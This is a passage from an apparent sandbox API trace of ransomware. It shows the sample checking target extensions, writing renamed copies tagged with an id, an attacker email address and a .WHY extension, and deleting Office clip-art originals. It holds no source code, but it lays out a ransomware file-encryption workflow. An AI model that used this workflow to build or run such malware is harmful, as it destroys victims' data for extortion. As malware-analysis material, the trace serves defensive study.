Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.736] lstrlenW (lpString=".doc") returned 4 [0234.736] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.736] lstrlenW (lpString=".docx") returned 5 [0234.736] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.736] lstrlenW (lpString=".pdf") returned 4 [0234.736] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.736] lstrlenW (lpString=".xls") returned 4 [0234.736] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.736] lstrlenW (lpString=".xlsx") returned 5 [0234.736] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.736] lstrlenW (lpString=".ppt") returned 4 [0234.736] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.736] lstrlenW (lpString=".zip") returned 4 [0234.737] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.737] lstrlenW (lpString=".rar") returned 4 [0234.737] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.737] lstrlenW (lpString=".bz2") returned 4 [0234.737] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.737] lstrlenW (lpString=".7z") returned 3 [0234.737] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.737] lstrlenW (lpString=".dbf") returned 4 [0234.737] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.737] lstrlenW (lpString=".1cd") returned 4 [0234.737] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 63 [0234.738] lstrlenW (lpString=".jpg") returned 4 [0234.738] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.738] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.738] lstrlenW (lpString="NBOOK_01.MID") returned 12 [0234.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0234.772] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=5968) returned 1 [0234.772] CloseHandle (hObject=0x390) returned 1 [0234.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 0x20 [0234.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0234.779] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.779] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0234.780] GetLastError () returned 0x0 [0234.780] ReadFile (in: hFile=0x390, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x1750, lpOverlapped=0x0) returned 1 [0234.900] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x1760, lpOverlapped=0x0) returned 1 [0234.903] ReadFile (in: hFile=0x390, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0234.903] WriteFile (in: hFile=0x354, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0234.903] SetEndOfFile (hFile=0x354) returned 1 [0234.931] CloseHandle (hObject=0x354) returned 1 [0234.942] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.942] SetEndOfFile (hFile=0x390) returned 1 [0239.082] CloseHandle (hObject=0x390) returned 1 [0239.614] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0240.434] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0240.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.435] lstrlenW (lpString=".doc") returned 4 [0240.436] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.436] lstrlenW (lpString=".docx") returned 5 [0240.436] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.436] lstrlenW (lpString=".pdf") returned 4 [0240.436] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0240.436] lstrlenW (lpString=".xls") returned 4 [0240.436] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0240.436] lstrlenW (lpString=".xlsx") returned 5 [0240.436] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0240.436] lstrlenW (lpString=".ppt") returned 4 [0240.437] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0240.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.437] lstrlenW (lpString=".zip") returned 4 [0240.437] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0240.438] lstrlenW (lpString=".rar") returned 4 [0240.438] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0240.438] lstrlenW (lpString=".bz2") returned 4 [0240.438] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0240.438] lstrlenW (lpString=".7z") returned 3 [0240.438] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0240.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.438] lstrlenW (lpString=".dbf") returned 4 [0240.438] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0240.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.438] lstrlenW (lpString=".1cd") returned 4 [0240.438] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0240.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.439] lstrlenW (lpString=".jpg") returned 4 [0240.439] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0240.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.439] lstrlenW (lpString=".doc") returned 4 [0240.439] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0240.439] lstrlenW (lpString=".docx") returned 5 [0240.439] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0240.439] lstrlenW (lpString=".pdf") returned 4 [0240.439] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0240.440] lstrlenW (lpString=".xls") returned 4 [0240.440] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0240.440] lstrlenW (lpString=".xlsx") returned 5 [0240.440] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0240.440] lstrlenW (lpString=".ppt") returned 4 [0240.440] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0240.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.440] lstrlenW (lpString=".zip") returned 4 [0240.440] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0240.440] lstrlenW (lpString=".rar") returned 4 [0240.440] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0240.440] lstrlenW (lpString=".bz2") returned 4 [0240.440] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0240.440] lstrlenW (lpString=".7z") returned 3 [0240.440] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0240.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.441] lstrlenW (lpString=".dbf") returned 4 [0240.441] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0240.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.441] lstrlenW (lpString=".1cd") returned 4 [0240.441] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0240.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 63 [0240.441] lstrlenW (lpString=".jpg") returned 4 [0240.441] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0240.441] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0240.442] lstrlenW (lpString="PARNT_02.MID") returned 12 [0240.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0240.452] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=5714) returned 1 [0240.452] CloseHandle (hObject=0x37c) returned 1 [0240.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 0x20 [0240.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0240.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0240.454] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0240.454] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0240.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0240.499] GetLastError () returned 0x0 [0240.499] ReadFile (in: hFile=0x37c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x1652, lpOverlapped=0x0) returned 1 [0240.534] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x1660, lpOverlapped=0x0) returned 1 [0240.540] ReadFile (in: hFile=0x37c, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0240.540] WriteFile (in: hFile=0x390, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0240.541] SetEndOfFile (hFile=0x390) returned 1 [0240.541] CloseHandle (hObject=0x390) returned 1 [0241.186] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0241.186] SetEndOfFile (hFile=0x37c) returned 1 [0241.193] CloseHandle (hObject=0x37c) returned 1 [0241.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0241.525] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid")) returned 1 [0241.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.528] lstrlenW (lpString=".doc") returned 4 [0241.528] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0241.528] lstrlenW (lpString=".docx") returned 5 [0241.528] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0241.528] lstrlenW (lpString=".pdf") returned 4 [0241.528] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0241.528] lstrlenW (lpString=".xls") returned 4 [0241.528] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0241.528] lstrlenW (lpString=".xlsx") returned 5 [0241.528] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0241.528] lstrlenW (lpString=".ppt") returned 4 [0241.529] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0241.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.529] lstrlenW (lpString=".zip") returned 4 [0241.529] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0241.529] lstrlenW (lpString=".rar") returned 4 [0241.529] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0241.530] lstrlenW (lpString=".bz2") returned 4 [0241.530] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0241.530] lstrlenW (lpString=".7z") returned 3 [0241.530] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0241.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.530] lstrlenW (lpString=".dbf") returned 4 [0241.530] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0241.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.530] lstrlenW (lpString=".1cd") returned 4 [0241.530] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0241.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.530] lstrlenW (lpString=".jpg") returned 4 [0241.531] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0241.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.531] lstrlenW (lpString=".doc") returned 4 [0241.531] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0241.531] lstrlenW (lpString=".docx") returned 5 [0241.531] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0241.531] lstrlenW (lpString=".pdf") returned 4 [0241.531] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0241.531] lstrlenW (lpString=".xls") returned 4 [0241.531] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0241.531] lstrlenW (lpString=".xlsx") returned 5 [0241.531] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0241.532] lstrlenW (lpString=".ppt") returned 4 [0241.532] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0241.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.532] lstrlenW (lpString=".zip") returned 4 [0241.532] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0241.532] lstrlenW (lpString=".rar") returned 4 [0241.532] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0241.532] lstrlenW (lpString=".bz2") returned 4 [0241.532] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0241.532] lstrlenW (lpString=".7z") returned 3 [0241.532] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0241.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.532] lstrlenW (lpString=".dbf") returned 4 [0241.533] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0241.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.533] lstrlenW (lpString=".1cd") returned 4 [0241.533] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0241.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0241.533] lstrlenW (lpString=".jpg") returned 4 [0241.533] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0241.534] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0241.534] lstrlenW (lpString="PARNT_04.MID") returned 12 [0241.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0241.564] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x33eff1c | out: lpFileSize=0x33eff1c*=6070) returned 1 [0241.564] CloseHandle (hObject=0x354) returned 1 [0241.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 0x20 [0241.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0241.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0241.566] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0241.566] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0241.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0242.226] GetLastError () returned 0x0 [0242.226] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x17b6, lpOverlapped=0x0) returned 1 [0242.230] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0242.234] ReadFile (in: hFile=0x354, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33efed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x33efed4*=0x0, lpOverlapped=0x0) returned 1 [0242.234] WriteFile (in: hFile=0x3b0, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x33efc9c*=0xec, lpOverlapped=0x0) returned 1 [0242.234] SetEndOfFile (hFile=0x3b0) returned 1 [0242.234] CloseHandle (hObject=0x3b0) returned 1 [0242.236] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33efec8 | out: lpNewFilePointer=0x0) returned 1 [0242.236] SetEndOfFile (hFile=0x354) returned 1 [0242.246] CloseHandle (hObject=0x354) returned 1 [0242.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0242.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0242.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.324] lstrlenW (lpString=".doc") returned 4 [0242.324] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.324] lstrlenW (lpString=".docx") returned 5 [0242.324] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0242.324] lstrlenW (lpString=".pdf") returned 4 [0242.325] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.325] lstrlenW (lpString=".xls") returned 4 [0242.325] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.325] lstrlenW (lpString=".xlsx") returned 5 [0242.325] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0242.325] lstrlenW (lpString=".ppt") returned 4 [0242.325] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.325] lstrlenW (lpString=".zip") returned 4 [0242.325] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0242.325] lstrlenW (lpString=".rar") returned 4 [0242.325] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0242.326] lstrlenW (lpString=".bz2") returned 4 [0242.326] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0242.326] lstrlenW (lpString=".7z") returned 3 [0242.326] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0242.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.326] lstrlenW (lpString=".dbf") returned 4 [0242.326] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0242.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.326] lstrlenW (lpString=".1cd") returned 4 [0242.326] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0242.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.326] lstrlenW (lpString=".jpg") returned 4 [0242.326] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0242.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.327] lstrlenW (lpString=".doc") returned 4 [0242.327] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0242.327] lstrlenW (lpString=".docx") returned 5 [0242.327] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0242.327] lstrlenW (lpString=".pdf") returned 4 [0242.327] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0242.327] lstrlenW (lpString=".xls") returned 4 [0242.327] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0242.327] lstrlenW (lpString=".xlsx") returned 5 [0242.327] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0242.327] lstrlenW (lpString=".ppt") returned 4 [0242.328] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0242.328] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0242.328] lstrlenW 